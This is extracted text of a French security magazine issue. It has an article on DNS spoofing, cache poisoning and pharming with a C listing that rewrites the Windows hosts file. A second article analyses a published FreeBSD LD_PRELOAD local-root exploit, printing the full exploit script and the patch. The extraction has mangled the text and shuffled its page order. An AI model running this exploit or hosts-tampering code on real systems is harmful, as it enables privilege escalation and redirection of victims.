De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 3: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

TABLE DES MATIERES

Actualiteacutes 6Rubrique tenue par Paul Amar

DOSSIER Boutiques online 8Store FactoryLe nombre de boutiques en ligne augmente chaque jour La boutique en ligne est un moyen simple de deacute-marrer une activiteacute eacutegalement rapide et tendance Ce-pendant toute la difficulteacute sera de la rentabiliser et de la maintenir sur la toile Cet article vous expliquera com-ment lancer sa premiegravere boutique online et comment eacuteviter les piegraveges

PRATIQUESeacutecuriteacute CISCO 12Alaeddine MesbahiCisco propose une varieacuteteacute tregraves importante de produ-its et plates-formes Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-for-me en cible facile Cisco propose alors plusieurs meacute-canismes de durcissement Cet article expliquers les meacutecanismes les plus communs pour les seacutecuriser les plates-formes Cisco

SeacuteCURITeacute ReacuteSEAUxFirewall sous Linux 20Nicolas HantevilleMaintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutemati-ques de seacutecuriteacute se font grandissantes Apregraves lrsquoimpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se po-se plus Nous allons voir ensemble le fonctionnement drsquoiptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur laseacutecurisation drsquoune machine connecteacutee agrave Internet

Chiffrement des mails 28Robin DavidCet article preacutesente le fonctionnement du chiffrement et de la signature des mails On srsquointeacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lrsquoutilisation des deux grandes technologies du do-maine PGP et SMIME

62010

62010

ATTAQUELes attaques DNS 40David RobinCet article permettra de srsquointeacuteresser aux diffeacuterentes at-taques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spo-ofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au ldquoDNS Pharmingrdquo qui est un deacuteriveacute du Phishing

FOCUSExploit ndash Local root FreeBsD via LD_PRELoAD 46Paul RascagnegraveresFreeBSD est souvent preacutesenteacute comme un OS agrave la seacute-curiteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosu-re par Kingcope Dans cet article nous allons eacutetudier le fonctionnement de cet exploit le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD tout en commenccedilant par comprendre a quoi sert LD_PRELOAD

ltltNUMER_WYDANIAgtgt

ACTUALITEacuteS

Google et la confidentialiteacute Apregraves la poleacutemique autour de Google et des informa-tions reacutecupeacutereacutees agrave la laquo voleacutee raquo la CNIL a lanceacute une eacutetude portant sur la mise en danger des donneacutees des usagers

Lrsquoideacutee de base de Google eacutetait drsquoenregistrer lrsquoidentiteacute et la position des hotspots Wi-Fi

Lrsquoanalyse a deacutemontreacute que le logiciel utiliseacute enregi-strait bien plus que des fragments il enregistrait des paquets entiers desquels pouvaient ecirctre extraites des donneacutees sensibles telles que les adresses mails mots de passe etc

Drsquoautres Eacutetats comme lrsquoEspagne ou lrsquoAllemagne ont aussi demandeacute agrave Google agrave acceacuteder aux donneacutees cap-tureacutees par cette entreprise mais crsquoest la CNIL qui a eacuteteacute la premiegravere agrave voir sa requecircte accepteacutee

Apple et les vulneacuterabiliteacutes Le lundi 21 juin aura eacuteteacute une journeacutee laquo noire raquo pour Ap-ple eacutetant donneacute que son upgrade agrave iOS 4 a permis de patcher 65 vulneacuterabiliteacutes La moitieacute drsquoentre elles eacutetaient critiques drsquoapregraves les speacutecialistes

Certains doutent que le nouvel iPad pourrait ecirctre vul-neacuterable agrave une ou plusieurs des failles patcheacutees sur les iPhonesiPod Touch

De plus les utilisateurs drsquoiPad nrsquoauront pas de patchs avant cet automne permettant de couvrir certaines vul-neacuterabiliteacutes Un tregraves gros vecteur drsquoattaques risque donc drsquoecirctre ouvert aux pirates

Ce nombre de vulneacuterabiliteacutes est donc un nouveau re-cord compareacute aux patchs des 46 failles de lrsquoeacuteteacute der-nier

IOS 4 comportait 35 bugs soit plus de la moitieacute des vulneacuterabiliteacutes trouveacutees et qui eacutetaient de type laquo arbitra-ry code execution raquo donc critiques

La prudence est au rendez-vous pour tous les utilisa-teurs de produits Apple tels que lrsquoiPad

Le fait drsquoecirctre signeacute est-ce suffisant Une eacutetude de Jarno Niemela a montreacute que les auteurs de malwares utilisent la technologie drsquoAuthenticode pour les faire passer pour de bons logiciels

Cette derniegravere est utiliseacutee pour signer du code assu-rer son authenticiteacute et son inteacutegriteacute

De nombreux anti-virus srsquoappuient sur ce systegraveme qui malheureusement apregraves certaines deacutecouvertes nrsquoest pas si sucircr

De nombreuses techniques permettent laquo drsquoabuser raquo de la confiance des Authenticode telles que

ecirctre certifieacute mais ne pas avoir des bonnes inten-tions voler des certificats infecter des systegravemes de deacuteveloppeurs et ecirctre signeacute dans les releases (infec-tion de masse) falsification du MD5 (deux binaires ayant le mecircme checksum mais pas les mecircmes acti-viteacutes) etc

Turquie une attaque drsquoenvergureUne vague de censure en Turquie est arriveacutee il y a que-lques temps bloquant de nombreux services de Go-ogle tels que Google Traduction Google Documents ou encore Google Livres Il srsquoagit lagrave drsquoune conseacutequence de la volonteacute des Fournisseurs drsquoaccegraves internet Turqu-es de bloquer certaines adresses IP affilieacutees agrave Youtu-be

De nombreuses autres adresses IP relatives agrave Youtu-be et aux services de Google ont eacuteteacute blacklisteacutees Pro-gressivement de nombreux internautes se sont pla-ints que de nombreux services tels que Picasa Google Maps ne fonctionnaient plus

Degraves lors une attaque DdoS drsquoenvergure a eacuteteacute lanceacutee contre le ministegravere du transport lrsquoAutoriteacute des techno-logies de lrsquoinformation et des communications et contre la preacutesidence des teacuteleacutecommunications

Ces trois sites web ont eacuteteacute inaccessibles une bonne partie de la journeacutee agrave cause drsquoun groupe drsquohacktivistes meacutecontents de cette censure Drsquoapregraves de nombreuses sources lrsquoattaque aurait dureacute 10 heures

Et si un VPN ne nous permettait plus drsquoecirctre anonyme Au cours de la premiegravere laquo Telecomix Cyphernetics As-sembly raquo qui a eu lieu en Suegravede une vulneacuterabiliteacute au sein des VPNs a eacuteteacute preacutesenteacutee Le fait de combiner Ipv6 (qui remplace progressivement Ipv4) ainsi que PPTP (point-to-point tunneling protocol) permettent de retrou-ver des informations comme par exemple lrsquoadresse IP lrsquoadresse MAC ou encore le nom de lrsquoordinateur drsquoun utilisateur en particulier

Cette information est donc des plus critiques puis-que lrsquoune des utilisations des VPN consiste agrave favori-ser lrsquoanonymat et ainsi assurer la confidentialiteacute de ses donneacutees personnelles

De nombreuses alternatives ont eacuteteacute deacutecrites comme par exemple le fait de repasser agrave IPv4 ou de favoriser lrsquoutilisation drsquoOpenVPN plutocirct que PPTP

Fuite de donneacutees pour les utilisateurs de lrsquoiPad Il y a quelques semaines une nouvelle faisait rage de nombreuses informations confidentielles concernant des utilisateurs drsquoiPad ont eacuteteacute reacutecupeacutereacutees par un grou-pe deacutenommeacute laquo Goatse Security raquo

Crsquoest environ 114 000 adresses qui ont eacuteteacute reacutecupeacute-reacutees avec entre autres de grosses pointures telles que le CEO du New York Times Dow Jones Times inc hellip

Le problegraveme se situait sur le site de ATampT qui a per-mis via le changement drsquoun certain paramegravetre de reacute-cupeacuterer toutes ces informations Degraves lors il aurait eacuteteacute possible de lancer des vagues de spams agrave lrsquoencontre de ces personnes ou encore essayer drsquoinfecter leurs

ltltSTRONA_PISMAgtgt

ACTUALITEacuteS

